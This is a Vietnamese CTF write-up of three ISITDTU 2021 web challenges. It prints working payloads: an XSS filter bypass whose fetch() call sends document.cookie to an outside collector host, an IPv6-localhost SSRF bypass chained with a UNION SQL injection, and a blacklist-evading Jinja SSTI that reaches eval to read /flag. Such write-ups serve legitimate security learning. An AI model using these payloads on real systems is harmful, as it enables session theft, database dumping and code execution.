Author: Antoine Nguyen
Link: github.com/antoinenguyen-09
TLDR:
Ở ISITDTU CTF 2021 thì team 0ni0n của mình đã không vào được Final. Tuy nhiên, với tinh thần tham gia giải lần đầu để học hỏi là chính thì mình quyết định write-up lại toàn bộ web challenge ở vòng Quals này, kể cả các challenge mình chưa giải được, nhìn chung tất cả đều thú vị và nhiều "hành".
simpleWAF
Đây là challenge web đầu và cũng là dễ nhất trong 4 challenge của ISITDTU CTF năm nay. Dù vậy vì một số lí do ngu người nên mất cả buối sáng mình mới solve đc bài này.
[+] Source
1. Initial reconnaissance:
- Nhìn qua challenge này cho hẳn source với rất nhiều regex, cùng với một cái url parameter to tướng ở phía trên tên là XSS thì chắc chắn hướng đi sẽ là từ reflected XSS lấy cookie của client.
- Đề bài còn cho biết:
if you can steal cookie, bot will check it at here
, nghĩa là sau khi exploit lấy cookie thành công từ site chính rồi, chúng ta sẽ submit payload cho con bot dưới đây check xem có hợp lệ và nếu đúng nó sẽ trả cho chúng ta flag.
2. Analyze and find the vulnerabilities:
- Đầu tiên, website sẽ lấy ra string từ url parameter
xss
rồi check xem nó đã đc url encode chuẩn chưa (thông qua vòng while). Sau đó nếu như trong string đó có các HTML entities thì nó sẽ trở về dạng HTML tag bình thường thông qua hàmhtml_entity_decode
.
$xss = $_GET['xss'];
$tmpxss = $xss;
do
{
$xss = $tmpxss;
$tmpxss = urldecode($xss);
} while($tmpxss != $xss);
$xss = html_entity_decode($xss);
- Tiếp theo là phần phải đụng cơ tay một tí là bypass regex. Nhìn qua ta có thể thấy regex sẽ filter các string như
on<gì đó>=
,src=
,href=
,<script
,<object
nếu nó xuất hiện trong biến $xss ở trên. Nếu có xuất hiện sẽ in raWAF block
, nếu không thì payload là hợp lệ và sẽ được in ra
$valid = true;
if(preg_match("/\<\w+.*on\w+=.*/i", $xss))
{
$valid = false;
}
if(preg_match("/\<\w+.*src=.*/i", $xss))
{
$valid = false;
}
if(preg_match("/\<\w+.*href=.*/i", $xss))
{
$valid = false;
}
if(preg_match("/\<script.*/i", $xss))
{
$valid = false;
}
if(preg_match("/\<object.*/i", $xss))
{
$valid = false;
}
if($valid == true)
{
echo $xss;
}
else
{
echo "WAF block";
}
- Các string như
on<gì đó>=
,src=
,href=
,<script
,<object
thường xuất hiện trong các xss payload, giờ đã bị ban. Vậy thì làm sao để nó hợp lệ? Chợt nhận ra thằng web này nó chỉ cấm mình dùngon<gì đó>=
chứ không cấm mình dùngon<gì đó> =
(thêm 1 dấu cách vào, thậm chí muốn chắc kèo thêm kí tự\n
vào cũng được luôn). Thí dụ chúng ta có thể xài một cái payload như này:
- Dùng payload
w
rồi thử alert một cái chơi:
Amazing, giờ viết script để gửi cookie về domain của mình thôi!
3. Exploit and get flag:
- Ý tưởng về việc steal cookie nó sẽ tóm gọn như này (sử dụng fetch API):
fetch('<URL muốn gửi đến>', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
- Nhét nó vào payload để chạy trên web này nó sẽ thành như sau:
%3Cimg%20src/%20%0Donerror%0D%20=%22fetch(%27<URL muốn gửi đến>%27,%20{method:%20%27POST%27,%20mode:%20%27no-cors%27%20,body:document.cookie})%22%3E
- Ví dụ ta có url muốn gửi đến là
https://jxkku1rri7bor6fs1hjaeu4yyp4fs4.burpcollaborator.net
(sử dụng Burp Collaborator client để tạo các domain như này, đồng thời bắt các request gửi về khi payload chạy):
- Tiếp theo mình sẽ submit cái nguyên si cái payload này cho con bot để lấy flag và tiếp tục sử dụng Burp Collaborator client để bắt request, và đây là nơi cái ngu bắt đầu :).
- Không hiểu bằng một cách magic nào đó mà lần này nó chỉ gửi mỗi DNS request đến Burp Collaborator client, trong khi thứ ta đang cần là một HTTP request như ảnh trên :(. Mình đã tốn thời gian cho một việc ngu ngốc là gửi đi gửi lại dù biết nó sẽ sai, cho đến khi được người ra đề là anh "0xd0ff9" gõ đầu mới ngộ ra:
Có vẻ có vấn đề gì đó với policy của Chrome phiên bản mới nhất, sau một hồi search gg và hỏi khắp nới thì t biết được policy của chrome mới nhất ko cho phép redirect qua HTTP, do đó Burp Collaborator client sẽ không bắt được HTTP. Nhưng mà trước khi biết được điều này thì t đã mò đại được cái webhook hay ho requestcatcher.com này để bắt request, và nó đã hoạt động :D
My final payload:
https://simplewaf.duckdns.org/6ef051ac3d7b644cb6b3c22fef5677a1/?xss=%3Cimg%20src/%20%0Donerror%0D%20=%22fetch(%27https://antoine.requestcatcher.com/%27,%20{method:%20%27POST%27,%20mode:%20%27no-cors%27%20,body:document.cookie})%22%3E
Flag: ISITDTU{64858f4560416acff930bf673b5046911947a26e}
lastpoint
Challenge này thì nhờ 1 chút "rùa" và chăm đọc cheat sheet mà mình giải nhanh hơn bình thường :D
[+] Source
1. Initial reconnaissance:
Đầu tiên chúng ta cần tạo account để login vào:
Xem qua source của trang login và register cũng bình thường không có gì, chỉ còn mỗi 2 trang index và home để chúng ta xem xét.
2. Analyze and find the vulnerabilities:
a) index.php:
Mới nhìn vào có vẻ đây là tính năng nhập một URL bất kì rồi trả về nội dung của URL đó. Hướng đi của challenge này có vẻ là là khai thác SSRF rồi. Nhưng trước hết chúng ta sẽ gặp vật cản đầu tiên là hàm filter
dưới đây:
function filter($url) {
$black_lists = ['127.0.0.1', '0.0.0.0'];
$url_parse = parse_url($url);
$ip = gethostbyname($url_parse['host']);
if (in_array($ip,$black_lists)) {
return false;
}
return true;
}
Tác giả đã lộ rõ ý đồ blacklist 2 ip là 127.0.0.1
và 0.0.0.0
, vì 2 ip này đếu trỏ đến localhost
, điểm mấu chốt để khai thác SSRF. Thậm chí ngay cả khi bạn nhập vào url https://localhost/home.php
rồi submit thì nó cũng cho kết quả tương tự:
Không những blacklist 2 ip này mà tác giả còn sanitize và validate biến $url
bằng cách lowercase, regex. Nếu pass qua được hết thì một curl session sẽ được tạo với biến $url
, kết quả của curl session này sẽ được trả về tại biến $output
(tham khảo về cách dùng curl tại đây). Còn nếu không pass sẽ kết thúc chương trình và in ra "NO NO NO NO" như hình trên:
$url = strtolower($_POST['url']);
$check = filter($url);
if (filter_var($url,FILTER_VALIDATE_URL,FILTER_FLAG_IPV4) && preg_match('/(^https?:\/\/[^:\/]+)/',$url) && $check) {
sleep(1);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3);
curl_setopt($ch, CURLOPT_TIMEOUT, 1);
$output = curl_exec($ch);
curl_close($ch);
}
else {
die ("NO NO NO NO");
}
b) home.php:
Có lẽ có một tính năng "ẩn" ở home.php
vì một lí do nào đó chúng ta lại không sử dụng được. Từ source ta biết được rằng home.php
luôn luôn in ra "This is not a private ip" nếu như client ip address trong request gửi đến trang này không phải là 127.0.0.1
:
if ($_SERVER['REMOTE_ADDR'] !== "127.0.0.1") {
die("<center>This is not a private ip</center>");
}
Xem kĩ source thì chúng ta biết được tính năng "ẩn" đó cho phép chúng ta truy vấn thông tin của các user trên web app này thông qua url parameter là id
:
if (isset($_GET['id'])) {
$id = $_GET['id'];
if (!preg_match('/sys|procedure|xml|concat|group|db|where|like|limit|in|0x|extract|by|load|as|binary|
join|using|pow|column|table|exp|info|insert|to|del|admin|pass|sec|hex|username|regex|id|if|case|and|or|ascii|[~.^\-\/\\\=<>+\'"$%#]/i',$id) && strlen($id) < 90) {
$query = "SELECT id,username FROM users WHERE id={$id};";
$result = $conn->query($query);
while ($row = $result->fetch_assoc()) {
echo "<tr><th>".$row['id']."</th><th>".$row['username'];
}
$result->free();
}
}
Nhưng đoạn code trên lại không dùng prepared statement để truy vấn mà lại dùng hàm query. Do đó chắn chắn sẽ bị SQL Injection, vấn đề chỉ nằm ở việc có bypass được cái regex /sys|procedure|xml|concat|group|db|where|like|limit|in|0x|extract|by|load|as|binary|join|using|pow|column|table|exp|info|insert|to|del|admin|pass|sec|hex|username|regex|id|if|case|and|or|ascii|[~.^\-\/\\\=<>+\'"$%#]/i
hay không. Có lẽ khai thác SQLi xong chúng ta sẽ lấy được flag?
3. Exploit and get flag:
Sau khi xem xét 2 tính năng của index.php
và home.php
, chúng ta có thể rút ra hướng để khai thác như sau:
- Bypass SSRF filter ở chức năng submit url tại trang
index.php
sao cho có thể gọi đến localhost của chính web app này, dùng nó để request và in ra nội dung củahome.php
. - In ra được
home.php
thì chỉ việc bypass regex nữa là tha hồ lượn trong database của cái app này.
a) Bypass SSRF filter:
Để bypass được mọi thể loại filter thì cách nhàn hạ và nhanh nhất để là đi mò cheat sheet :D Sau khi thử hàng loạt payload trong cái SSRF cheat sheet thần thành này thì mình phát hiện ra có cái này dùng được:
http://[0:0:0:0:0:ffff:127.0.0.1]
b) Bypass SQLi filter:
Trong regex dùng để filter SQLi này:
/sys|procedure|xml|concat|group|db|where|like|limit|in|0x|extract|by|load|as|binary|join|using|pow|column|table|exp|info|insert|to|del|admin|pass|sec|hex|username|regex|id|if|case|and|or|ascii|[~.^\-\/\\\=<>+\'"$%#]/i
Chúng ta phát hiện ra không có union
trong số đó. Vậy thì còn ngần ngại gì mà không UNION attack nữa!
Mục tiêu của việc exploit SQLi theo kiểu UNION attack là in ra toàn bộ data từ table user
. Nếu như phải test black box thì cần có 1 bước là xác định số cột của user
, nhưng mà trong source có luôn cả script sql (main.sql) tạo table này nên không cần phải làm nữa:
CREATE TABLE `users` (
`id` int(11) NOT NULL,
`username` text NOT NULL,
`password` text NOT NULL,
`[CENSORED]` text NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
Table user
có 4 column, nhưng lại có 1 column "ẩn" được đánh dấu là [CENSORED]
, rất có thể flag sẽ nằm trong column này. Mặc dù không biết tên column này nhưng chúng ta lại biết được column này có index là 4 trong table user
. Liệu có thể dùng SELECT
để query user
nhưng không dùng tên mà chỉ dùng index của column?
Nếu kết hợp khéo léo một chút giữa SELECT
và hàm make_set() trong MySQL thì câu trả lời là có. Quá trình build script với ý tưởng này khá là loằng ngoằng, bạn có thể xem tóm tắt trong hình dưới. Ở đây mình tạo một table user tương tự như của web app nhưng chỉ có 2 cột là id và username.
Oke, vậy payload SQLi cuối cùng sẽ là:
1 union select 1,make_set(1|4,`2`,`3`,`4`)from(select 1,2,3,4 union select * from users)a
Ghép với payload SSRF ở trên nữa ta sẽ lấy được flag:
My final payload:
http://[0:0:0:0:0:ffff:127.0.0.1]/home.php?id=1%20union%20select%201,make_set(1%7c4,%602%60,%603%60,%604%60)from(select%201,2,3,4%20union%20select%20*%20from%20users)a
Flag: ISITDTU{w0w_SSRF_ch4in_SQLI_3Zzzz_h3he_!!!!}
ez get flag
Hơi đáng tiếc vì mình không thể clear được challenge này trong thời gian của cuộc thi. Nhưng không sao, năng lực của mình chỉ đến vậy thì phải chấp nhận, quan trọng là mình đã không chán nản mà vẫn tiếp tục cày cho tới khi clear challenge này, kể cả khi ISITDTU CTF đã end.
1. Initial reconnaissance:
Thoạt nhìn thì ai cũng tưởng sẽ phải vào register
để tạo một account mới rồi login vào, nhưng đời không đơn giản như vậy. Nó thậm chí còn không cho register!
Khi nhập linh tinh vào các field của trang login
thì nó sẽ ra như này:
Check source của bài này thì chỉ có 2 trang register
và login
này cho phép free-access. Như vậy chúng ta chỉ còn cách bypass login để mà vào bên trong.
2. Bypass login:
Ta có source của chức năng login như sau:
def login():
if 'username' in session:
return redirect(url_for('home'))
else:
if request.method == "POST":
username, password = '', ''
username = request.form['username']
password = request.form['password']
if sql.login_check(username,password) > 0 and username == 'admin':
session['username'] = 'admin'
session['check'] = 1
return render_template('home.html')
else:
cc, secret = '', ''
cc = request.form['captcha']
secret = request.form['secret']
if captcha.check_captcha(cc):
session['username'] = 'guest'
session['check'] = 0
session['sr'] = secret
return redirect(url_for('home'))
return render_template('login.html', msg='Ohhhh Noo - Incorrect !')
return render_template('login.html')
Từ source ta có thể tóm tắt các thức hoạt động của trang login
như sau:
- Web app này có 2 role là
admin
vàguest
, và kiểm tra user thuộc role nào thông qua objectsession
. - Dù user là
admin
hayguest
thì sau khi login xong đều được redirect đến tranghome
. Điểm khác biệt ở đây làadmin
sẽ cósession['check'] = 1
cònguest
thì cósession['check'] = 0
kèm theo đó làsession['sr'] = secret
, với biếnsecret
được nhập vào từ fieldSecret (option)
của login form.
Điều kiện để có thể login như một admin
đó là sql.login_check(username,password) > 0
và username == 'admin'
. Check hàm login_check
xem sao:
def login_check(username, password):
conn = sqlite3.connect('database/users.db')
row = conn.execute("SELECT * from users where username = ? and password = ?", (username, hashlib.sha1(password.encode()).hexdigest(), )).fetchall()
return len(row)
Như vậy chức năng login sẽ connect với database/users.db
và query từ table users
để check. Theo yêu cầu thứ 2 thì admin
cần có username == 'admin'
nhưng khi check database/users.db
thì lại chỉ có 1 row như này:
Cột password trong table users
đã bị hash. Mà kể cả chúng ta có crack được hash này thì username
sẽ là taidh
chứ không phải admin
, bỏ phương án crack hash này đi cho đỡ mất công.
Quay sang tìm cách để trở thành guest
. Điều kiện để có thể login như một guest
đó là captcha.check_captcha(cc) == True
. Mặc kệ các field còn lại là username
, password
, secret (option)
có như thế nào, chỉ cần nhập đúng captcha vào field Captcha
là vào được trang home
. Check hàm check_captcha
xem sao:
SECRET = '[CENSORED]' # this is captcha
CHECK = '203c0617e3bde7ec99b5b657417a75131e3629b8ffdfdbbbbfd02332'
def check_captcha(cc):
msg = b'hello '
msg += cc.encode()
if calculate(msg) == CHECK:
return True
return False
def calculate(msg):
c = []
a = ord(b'[CENSORED]')
b = ord(b'[CENSORED]')
for m in msg:
c.append(a ^ m)
a = (a + b) % 256
return bytes(c).hex()
Biến cc
sau khi truyền vào hàm check_captcha
sẽ được concat với giá trị IV là biến msg (msg = b'hello '
), sau đó cho tất cả vào hàm calculate
để gen ra một đoạn mã SECRET
, và SECRET
phải giống y như biến CHECK
. Bài toán đặt ra cho chúng ta là: "Tìm 2 giá trị a và b, cho biết giá trị IV và CHECK".
Phân tích hàm caculate
thì ta biết được SECRET
được tạo ra như sau:
Tạo một list rỗng
c
, sau đó qua mỗi vòng lặpfor m in msg
sẽ append thêma^m
(a XOR m), đồng thời giá trị a sẽ liên tục thay đổi sau 1 vòng lặp theo công thứca = (a + b) % 256
.Sau khi đã append hết thì list
c
sẽ được convert sang dạng bytes và cuối cùng là một string chứa các giá trị hex.
List c
và hex string '01020304050607'
chỉ mang tính chất minh họa, trên thực tế thì phải là bytes(c).hex() == CHECK
. Lật ngược vấn đề, từ biến CHECK
đã cho chúng ta có thể tìm ra list c
? Giải pháp là sử dụng hàm fromhex:
Từ vòng lặp for m in msg:
thứ nhất ta có c[0] = a₀ ^ m₀ ⟺ c[0] = a ^ msg[0]
, tìm ra được a = 72 = ord('H')
. Sang vòng lặp thứ 2, ta lại có c[1] = a₁ ^ m₁ ⟺ c[1] = a₁ ^ msg[1] ⟺ a₁ = 60 ^ 101 = 89
, từ a₁
và a₀
tìm ra được b = 17 = ord('\x11')
theo công thức: a₁ = (a₀+b) % 256
.
Tìm được a và b thì coi như bài toán đã kết thúc, chúng ta chỉ chạy một vòng lặp tương tự của hàm calculate
, nhưng thay vì cho a đi xor với từng bytes của msg thì ta xor thẳng với CHECK
:
def gen_captcha():
SECRET = '[CENSORED]' # this is captcha
CHECK = '203c0617e3bde7ec99b5b657417a75131e3629b8ffdfdbbbbfd02332'
head = b'hello '
array_check = list(bytes.fromhex(CHECK))
ord_a = array_check[0] ^ head[0]
ord_b = (array_check[1] ^ head[1]) - ord_a
head_secret = ''
for r in array_check:
head_secret += chr(ord_a ^ r)
ord_a = (ord_a + ord_b) % 256
if head.decode('utf-8') in head_secret:
SECRET = head_secret.replace(head.decode('utf-8'), '')
return SECRET
Chạy script ta có SECRET = ISITDTU_CTF_S3cret_!!!
, nhập captcha này vào login form chúng ta sẽ vào được home
:
3. Privilege escalation to become admin:
Để ý vào dòng "Your secret: ..." ở chức năng home
. Nó sẽ trả về những gì chúng ta nhập vào tại field Secret (option)
thông qua template engine của web app là Jinja. Liệu nó có bị dính SSTI hay không? Câu trả lời là không vì chức năng này đang sử dụng hàm render_template để đẩy dynamic content từ biến secret
vào một static template file là home.html
.
# home function
@app.route('/home')
def home():
if 'username' in session:
secret = session['sr']
return render_template('home.html', secret=secret)
return redirect(url_for('login'))
<!-- home.html -->
{% if secret %}
<i><h3 class="jumbotron-heading">Your secret: {{secret}}</h3></i>
{% endif %}
Mà theo một bài research của PortSwigger về SSTI thì:
Static templates that simply provide placeholders into which dynamic content is rendered are generally not vulnerable to server-side template injection.
Tuy vậy, trong quá trình research các hàm dùng để render content của web app này thì mình phát hiện trong source có một đoạn tác giả không sử dụng hàm render_template, thay vào đó là render_template_string (xem sự khác nhau giữa 2 hàm render này tại đây), nằm ở chức năng rate
:
if session['username'] == 'admin' and session['check'] == 1:
picture = picture.replace('{{','{').replace('}}','}').replace('>','').replace('#','').replace('<','')
if waf.isValid(picture):
render_template_string(picture)
return 'you are admin you can choose all :)'
else:
_waf = ['{{','+','~','"','_','|','\\','[',']','#','>','<','!','config','==','}}']
for char in _waf:
if char in picture:
picture = picture.replace(char,'')
if waf.check_len(picture):
render_template_string(picture)
return 'you are wonderful ♥'
Chức năng rate
ở 2 role admin
và guest
đều hoạt động giống như nhau, đều render_template_string(picture)
ở cuối, nhưng ở role admin
thì biến picture
bị filter nhẹ tay hơn so với ở role guest
(bạn có thể kiếm tra 2 hàm check_len và isValid trong waf.py là thấy rõ). Do đó hướng đi của mình là privilege escalate lên admin bằng SSTI cho dễ thở. Lí do tại sao truyền thẳng một string vào hàm render_template_string lại có thể gây ra SSTI thì các bạn có thể đọc tại đây. Mình xin được đi thẳng vào luôn phần bypass và exploit, vì endpoint bị dính SSTI đã hiện ra ngay tại đây rồi:
Vấn đề là chúng ta phải bypass được cái black list _waf
của guest:
_waf = ['{{','+','~','"','_','|','\\','[',']','#','>','<','!','config','==','}}']
Trước mắt chúng ta thấy "{{...}}", vốn dùng để biểu diễn một expression trong Jinja đã bị blacklist. Nhưng chúng ta vẫn có thể dùng "{%...%}" - control statement để làm vài trò hay ho, trong đó có gán giá trị cho các template variable. Thông thường thì các template variable của jinja ở phía front end sẽ độc lập hoàn toàn với các variable cùng tên của python ở phía back end, khi có 2 điều kiện được thỏa mãn là variable cùng tên đó của Python không được truyền vào template variable của Jinja thông qua các hàm render và trong control statement của Jinja không có một variable cùng tên được khai báo. Lấy 2 đoạn code kèm output tương ứng của nó như sau làm ví dụ:
# case 1
from flask import Flask, render_template_string
app = Flask(__name__)
@app.route('/')
def home():
name = 'antoine' # variable "name" in Python
picture = """{{name}}""" # template variable "name" in Jinja
print(name) # output: "antoine"
return render_template_string(picture, name=name) # variable "name" in Python is passed to template variable "name" in Jinja.
if __name__ == '__main__':
app.run(debug=True)
# case 2
from flask import Flask, render_template_string
app = Flask(__name__)
@app.route('/')
def home():
name = 'antoine' # variable "name" in Python
picture = """{%set name='nguyen'%}{{name}}""" # template variable "name" in Jinja
print(name) # output: "antoine"
return render_template_string(picture, name=name) # variable "name" in Python is passed to template variable "name" in Jinja. However, there is a variable "name" initialized and assigned with "nguyen" in control statement of Jinja, so the template displayed as following.
if __name__ == '__main__':
app.run(debug=True)
Trường hợp tương tự cũng xảy ra với các instance được tạo từ các subclass của module Flask như session.
# session saved in server side.
from flask import Flask, render_template_string, session
app = Flask(__name__)
app.config['SECRET_KEY'] = 'antoine'
@app.route('/')
def home():
session['username'] = 'guest'
session['check'] = 0
picture = """{%set a=session.update({'username':'admin','check':1})%}"""
print(session) # output: {'check': 0, 'username': 'guest'}
return render_template_string(picture)
if __name__ == '__main__':
app.run(debug=True)
Theo lời chú thích ở ảnh thì chúng ta hoàn toàn có thể gửi cookie đã bị thay đổi và privilege escalate lên admin bằng payload sau:
{%set a=session.update({'username':'admin','check':1})%}
Submit rồi refresh lại trang, chúng ta sẽ thấy dòng này thay vì "you are wonderful ♥":
4. Exploit Blind SSTI by triggering error and get the flag
Như vậy công việc cuối cùng của chúng ta là tìm cách đọc được file flag
. Tuy nhiên, lại xuất hiện thêm một khó khăn nữa, đó là những gì xuất hiện trên response sẽ được Flask trả về dựa trên kết quả của câu lệnh return
. Mà thứ chúng ta cần là render_template_string(picture)
thì nó lại không được return
. Do đó chúng ta không thể một phát đọc luôn nội dung của flag.
if waf.isValid(picture):
render_template_string(picture) # this won't never be appear in response :(
return 'you are admin you can choose all :)' # this will always appear in response!
Đã từng thấy Blind SQL Injection, Blind Command Injection,... nhưng đây là lần đầu tiên mình thấy Blind SSTI =)))). Về cơ bản thì hầu hết các vuln Blind Injection đều có các case khai thác phổ biến như trigger time delays, errors, out-of-band,... Mình quyết định khai thác case Blind SSTI bằng cách trigger errors, vì nó dễ viết code khai thác:v:
Trước hết, mọi ý tưởng về khai thác SSTI đều hướng tới mục đích cuối cùng là bypass python sandbox (python jail), từ "không có gì" cho đến gọi được các hàm "nguy hiểm" dùng để đọc file, chạy command, đồng nghĩa với RCE thành công (các bạn có thể xem một bài viết của tôi về escape python jail). Python sandbox ở đây mà chúng ta cần bypass ở đây chính là Jinja, vì mặc dù Jinja có syntax khá giống Python, cho phép nhúng code Python vào nhưng bản chất nó không phải là Python. Bạn sẽ hiểu điều này khi nghiên cứu về Jinja API. Về cơ bản thì API của Jinja được chia thành High Level API và Low Level API, và các API này đều có thể gọi được trong Python bằng cách from jinja2 import <module's name>
:
The high-level API is the API you will use in the application to load and render Jinja templates. The Low Level API on the other side is only useful if you want to dig deeper into Jinja or develop extensions.
Trong high-level API có một class rất đặc biệt là jinja2.Undefined
:
These classes can be used as undefined types. The Environment constructor takes an undefined parameter that can be one of those classes or a custom subclass of Undefined. Whenever the template engine is unable to look up a name or access an attribute one of those objects is created and returned. Some operations on undefined values are then allowed, others fail.
Ví dụ về một instance của class jinja2.Undefined
:
from jinja2 import Template
msg = Template("{{ module.type(t) }}").render(module=__builtins__) # variable "t" in template wasn't initialize and Jinja engine is unable to look up íts name, so Jinja treat it as undefined class.
print(msg) # output: <class 'jinja2.runtime.Undefined'>
Mà theo mình nhớ trong Python thì tất cả mọi class đều có 1 magic method là __init__
(giống như mọi class của Java đều phải có constructor vậy). Và class jinja2.Undefined
cũng không phải ngoại lệ (các bạn có thể xem danh sách các method của class này tại đây). Gọi được method __init__
là đồng nghĩa với trở về dạng SSTI quen thuộc thường thấy trên cheat sheet:
<object>.__init__.__globals__.__builtins__.<a builtins method in Python>
Bạn có thể đọc doc để hiểu rõ hơn về __builtins__
và mình xin trích dẫn lại định nghĩa ngắn gọn về __globals__
từ đây:
A reference to the dictionary that holds the function’s global variables — the global namespace of the module in which the function was defined.
Nhưng vì cảm thấy game vẫn chưa đủ khó, tác giả đã blacklist luôn cả 2 __globals__
và __builtins__
:D
BLACK_LIST = [
'class', 'mro', 'base', 'request', 'app',
'sleep', 'add', '+', 'config', 'subclasses', 'format', 'dict', 'get', 'attr', 'globals', 'time', 'read',
'import', 'sys', 'cookies', 'headers', 'doc', 'url', 'encode', 'decode', 'chr', 'ord', 'replace', 'echo',
'pop', 'builtins', 'self', 'template', 'print', 'exec', 'response', 'join', '{}', '%s', '\\', '*', '#', '&']
Nếu đọc cái BLACK_LIST
này xong mà ta vẫn đâm đầu vào cheat sheat để kiếm một payload mới thì chắc là "No Hope!". Mình chợt nhớ ra trong Jinja có một "magic" cho phép thay đổi các template variable là Filters, và trong số các "Filter" có reverse cho phép đảo ngược mọi thứ!
from flask import Flask, render_template_string
app = Flask(__name__)
@app.route('/')
def home():
picture = """{{ 'abc'|reverse }}"""
return render_template_string(picture)
if __name__ == '__main__':
app.run(debug=True)
Do đó trong payload chúng ta chỉ cần tạo 2 template variable như này là bypass được BLACK_LIST
. Sau đó tham khảo thêm cheat sheat ta gọi được hàm eval để bắt đầu chạy script :
{% set g='__slabolg__'|reverse%}{% set b='__snitliub__'|reverse%}{% set p=t.__init__[g][b]['eval']%}{{p(' s if str([i for i in open("/flag")])[s]=="char" else a',{'s':"index"|length})}}
Nói qua một chút về ý tưởng sử dụng {{p(' s if str([i for i in open("/flag")])[s]=="char" else a',{'s':"index"|length})}}
. p
đã được gán bằng method eval
. Expression bên trong eval là:
s if str([i for i in open("/flag")])[s]=="char" else a
Expression trên dịch nôm na ra theo tiếng Hooman là như này: mở file /flag
ra rồi quét hết nội dung của nó (sử dụng list comprehension) cho vào array rồi convert tất cả thành string, nếu tại index s
của string này có chứa kí tự char
thì sẽ trả về biến s
, server sẽ trả về status code 200, nếu không sẽ trả về biến a
. Mà biến a
chưa được khai báo lần nào trong expression này nên khi eval sẽ bị lỗi, server sẽ trả về status code 500. Để biến s
có thể iterate qua string trên thì tại parameter "globals" của hàm eval chúng ta sẽ gán s
bằng độ dài của string "index" (sử dụng Filter length để lấy độ dài), và độ dài của string s
sẽ tăng thêm 1 sau mỗi vòng lặp.
Nếu bạn nghĩ đến đây là có thể build script rồi lấy flag ngon ăn thì nhầm rồi! Payload {{p(' s if str([i for i in open("/flag")])[s]=="char" else a',{'s':"index"|length})}}
vẫn là chưa hợp lệ, vì trước khi được nạp vào hàm render_template_string
nó sẽ bị sửa thành {p(' s if str([i for i in open("/flag")])[s]=="char" else a',{'s':"index"|length})}
, do đó không còn là Jinja Expression và sẽ không chạy được:
if session['username'] == 'admin' and session['check'] == 1:
picture = picture.replace('{{','{').replace('}}','}').replace('>','').replace('#','').replace('<','')
Cách replace các kí tự bị cấm trong biến picture
thành null này nhìn có vẻ an toàn, nhưng có một lỗ hổng nằm ở đoạn replace('>','')
và replace('<','')
. Chúng ta chỉ cần thêm 2 dấu '>' và '<' này vào giữa '{{' và '}}' bypass được luôn, vì nó chỉ replace có 1 lần thôi :D
{% set g='__slabolg__'|reverse%}{% set b='__snitliub__'|reverse%}{% set p=t.__init__[g][b]['eval']%}{<{p(' s if str([i for i in open("/flag")])[s]=="char" else a',{'s':"index"|length})}>}
Các bạn có thể đọc exploit code của mình tại đây rồi chạy thử.
Mặc dù vậy khi chạy exploit code chúng ta chỉ mới một nửa flag. Lí do nó spam các kí tự "a" ở cuối mà ko chịu in tiếp flag là vì theo exploit code thì string "index" sẽ được replace bằng một chuỗi "xxxx..." tăng dần, đồng nghĩa với độ dài payload sẽ liên tục tăng. Mà hàm isValid trong waf.py chỉ cho phép payload dưới 202 kí tự:
if countChar(picture) and len(picture) <= 202:
...
Không sao cả, bạn chỉ cần thay đổi index của flag string từ [s]
(iterate từ đầu đến cuối):
{% set g='__slabolg__'|reverse%}{% set b='__snitliub__'|reverse%}{% set p=t.__init__[g][b]['eval']%}{<{p(' s if str([i for i in open("/flag")])[s]=="char" else a',{'s':"index"|length})}>}
Thành [-s]
(iterate từ cuối lên đầu):
{% set g='__slabolg__'|reverse%}{% set b='__snitliub__'|reverse%}{% set p=t.__init__[g][b]['eval']%}{<{p(' s if str([i for i in open("/flag")])[-s]=="char" else a',{'s':"index"|length})}>}
"Ez get flag" nhưng éo ez chút nào!!!! Flag cuối cùng là:
ISITDTU{A_FreE_FlaG_FOr_YoU_!!!!!!!!!!!_heHe}